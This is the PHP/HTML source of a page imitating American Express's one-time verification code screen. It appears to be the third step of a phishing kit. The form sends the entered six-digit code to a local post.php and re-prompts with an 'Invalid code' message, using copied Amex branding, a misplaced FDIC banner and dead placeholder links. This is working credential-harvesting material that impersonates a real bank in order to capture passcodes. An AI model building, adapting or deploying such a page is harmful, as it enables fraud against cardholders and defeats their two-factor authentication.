<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>American Express – Verification Code</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:         #0055AD;
            --blue-dark:    #004494;
            --blue-deeper:  #00337a;
            --blue-light:   #e8f0fb;
            --text:         #1a1a1a;
            --text-sub:     #333;
            --text-muted:   #666;
            --border:       #ccc;
            --border-focus: #0055AD;
            --bg:           #f2f2f2;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', 'Helvetica Neue', Arial, sans-serif; background: var(--bg); color: var(--text); font-size: 14px; }
        .page { min-height: 100vh; display: flex; flex-direction: column; }

        .top-nav { background: var(--white); border-bottom: 1px solid #ddd; height: 56px; padding: 0 24px; display: flex; align-items: center; justify-content: space-between; }
        .nav-left { display: flex; align-items: center; }
        .nav-logo { margin-right: 32px; }
        .nav-logo img { height: 38px; width: auto; }
        .nav-links { display: flex; align-items: center; }
        .nav-links a { font-size: 13px; color: var(--text-sub); text-decoration: none; padding: 0 14px; height: 56px; display: flex; align-items: center; border-bottom: 2px solid transparent; white-space: nowrap; transition: border-color 0.15s; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-right { display: flex; align-items: center; gap: 16px; }
        .nav-search { background: none; border: none; cursor: pointer; color: var(--text-sub); padding: 8px; }
        .nav-cs { font-size: 13px; color: var(--text-sub); text-decoration: none; }
        .nav-login-btn { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 9px 20px; font-family: inherit; font-size: 13px; font-weight: 600; cursor: pointer; }

        .fdic-bar { background: var(--white); border-bottom: 1px solid #e5e5e5; padding: 8px 24px; display: flex; align-items: center; gap: 10px; }
        .fdic-box { background: #003087; color: #fff; font-size: 10px; font-weight: 700; letter-spacing: 0.05em; padding: 2px 5px; border-radius: 2px; }
        .fdic-bar span { font-size: 12px; color: var(--text-muted); }

        .main { flex: 1; display: flex; justify-content: center; align-items: flex-start; padding: 32px 24px 64px; max-width: 1100px; margin: 0 auto; width: 100%; }

        .login-panel { background: var(--white); border: 1px solid #d5d5d5; border-radius: 2px; padding: 36px 40px 44px; width: 100%; max-width: 540px; }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 50px; width: auto; display: block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--blue-light); color: var(--blue); }
        .step.active { background: var(--blue); color: #fff; }
        .step.pending{ background: #eee; color: #aaa; }
        .step-line      { flex: 1; height: 1px; background: #ddd; }
        .step-line.done { background: var(--blue); opacity: 0.3; }

        .card-header { margin-bottom: 24px; padding-bottom: 20px; border-bottom: 1px solid #eee; }
        .card-header h1 { font-size: 22px; font-weight: 400; color: var(--text); margin-bottom: 6px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); }

        .error-msg { display: flex; align-items: center; gap: 8px; color: #7a1c1c; font-size: 13px; margin-bottom: 16px; padding: 10px 13px; background: #fdf0f0; border: 1px solid #f5c0c0; border-radius: 3px; }

        .otp-wrapper { display: flex; gap: 9px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] { width: 100%; height: 54px; text-align: center; font-family: inherit; font-size: 20px; font-weight: 600; color: var(--text); border: 1px solid var(--border); border-radius: 2px; background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s, background 0.15s; -webkit-appearance: none; caret-color: var(--blue); }
        .otp-wrapper input[type="text"]:focus { border-color: var(--border-focus); box-shadow: 0 0 0 2px rgba(0,85,173,0.15); }
        .otp-wrapper input[type="text"].filled { border-color: rgba(0,85,173,0.5); background: var(--blue-light); }
        input[name="otp"] { display: none; }

        .btn-main { width: 100%; height: 48px; background: var(--blue); color: #fff; border: none; border-radius: 4px; font-family: inherit; font-size: 16px; font-weight: 600; cursor: pointer; display: flex; align-items: center; justify-content: center; gap: 8px; transition: background 0.15s; margin-top: 20px; margin-bottom: 20px; }
        .btn-main:hover { background: var(--blue-dark); }

        .resend-row { text-align: center; font-size: 13px; color: var(--text-muted); margin-bottom: 20px; }
        .resend-row a { color: var(--blue); text-decoration: none; font-weight: 500; margin-left: 4px; }
        .resend-row a:hover { text-decoration: underline; }

        .card-divider { height: 1px; background: #eee; margin-bottom: 18px; }
        .card-links { display: flex; flex-direction: column; gap: 12px; }
        .card-links a { font-size: 14px; color: var(--blue); text-decoration: none; }
        .card-links a:hover { text-decoration: underline; }

        .page-footer { background: var(--white); border-top: 1px solid #ddd; padding: 32px 48px 24px; }
        .footer-grid { display: grid; grid-template-columns: repeat(4,1fr); gap: 32px; margin-bottom: 32px; }
        .footer-col h4 { font-size: 11px; font-weight: 700; color: var(--text); text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 14px; }
        .footer-col a { display: block; font-size: 13px; color: var(--text-muted); text-decoration: none; margin-bottom: 10px; }
        .footer-col a:hover { color: var(--blue); }
        .footer-bottom { font-size: 12px; color: #999; display: flex; justify-content: space-between; flex-wrap: wrap; gap: 12px; }

        @media (max-width: 900px) { .nav-links { display: none; } .footer-grid { grid-template-columns: repeat(2,1fr); } }
        @media (max-width: 500px) { .login-panel { padding: 24px 20px 32px; } .otp-wrapper input[type="text"] { height: 48px; font-size: 18px; } }
    </style>
</head>
<body>
<div class="page">
    <nav class="top-nav">
        <div class="nav-left">
            <div class="nav-logo"><img src="res/img/logo.svg" alt="American Express"></div>
            <div class="nav-links"><a href="#">My Account</a><a href="#">Cards</a><a href="#">Banking</a><a href="#">Travel</a><a href="#">Rewards &amp; Benefits</a><a href="#">Business</a></div>
        </div>
        <div class="nav-right">
            <button class="nav-search"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
            <a href="#" class="nav-cs">Customer Service</a>
            <button class="nav-login-btn">Log In</button>
        </div>
    </nav>
    <div class="fdic-bar"><span class="fdic-box">FDIC</span><span>FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span></div>
    <div class="main">
        <div class="login-panel">
            <div class="card-logo"><img src="res/img/logo.svg" alt="American Express"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">3</div>
            </div>
            <div class="card-header"><h1>Enter Your Code</h1><p>Enter the 6-digit verification code sent to your phone</p></div>
            <form action="post.php" method="post">
                <?php if(isset($_GET['error'])): ?>
                <div class="error-msg"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Invalid code. Please try again.</div>
                <input type="hidden" name="exit">
                <?php endif; ?>
                <input type="text" name="otp" id="otp" required>
                <div class="otp-wrapper">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                </div>
                <button type="submit" class="btn-main">Verify &amp; Continue <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
            </form>
            <div class="resend-row">Didn't receive a code? <a href="#">Resend code</a></div>
            <div class="card-divider"></div>
            <div class="card-links"><a href="#">Having trouble? Contact support</a><a href="#">Back to log in</a></div>
        </div>
    </div>
    <footer class="page-footer">
        <div class="footer-grid">
            <div class="footer-col"><h4>About</h4><a href="#">About American Express</a><a href="#">Investor Relations</a><a href="#">Careers</a></div>
            <div class="footer-col"><h4>Products &amp; Services</h4><a href="#">Credit Cards</a><a href="#">Business Cards</a><a href="#">Prepaid Cards</a></div>
            <div class="footer-col"><h4>Links You May Like</h4><a href="#">Travel Booking</a><a href="#">Gift Cards</a><a href="#">Reward Points</a></div>
            <div class="footer-col"><h4>Additional Information</h4><a href="#">Privacy Statement</a><a href="#">Terms of Service</a><a href="#">Security Center</a></div>
        </div>
        <div class="footer-bottom"><span>© 2025 American Express Company. All rights reserved.</span><span>Member FDIC &nbsp;·&nbsp; Equal Housing Lender</span></div>
    </footer>
</div>
<script>
    const digits = document.querySelectorAll('.digit');
    const otpInput = document.getElementById('otp');
    function syncOtp() { otpInput.value = [...digits].map(d => d.value).join(''); }
    digits.forEach((el, i) => {
        el.addEventListener('input', () => { el.value = el.value.replace(/\D/g, '').slice(-1); el.classList.toggle('filled', el.value !== ''); syncOtp(); if (el.value && i < digits.length - 1) digits[i + 1].focus(); });
        el.addEventListener('keydown', e => { if (e.key === 'Backspace' && !el.value && i > 0) { digits[i-1].value = ''; digits[i-1].classList.remove('filled'); digits[i-1].focus(); syncOtp(); } });
        el.addEventListener('paste', e => { e.preventDefault(); const p = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '').slice(0, digits.length); [...p].forEach((ch, j) => { if (digits[j]) { digits[j].value = ch; digits[j].classList.add('filled'); } }); syncOtp(); const nx = digits[Math.min(p.length, digits.length - 1)]; if (nx) nx.focus(); });
    });
</script>
</body>
</html>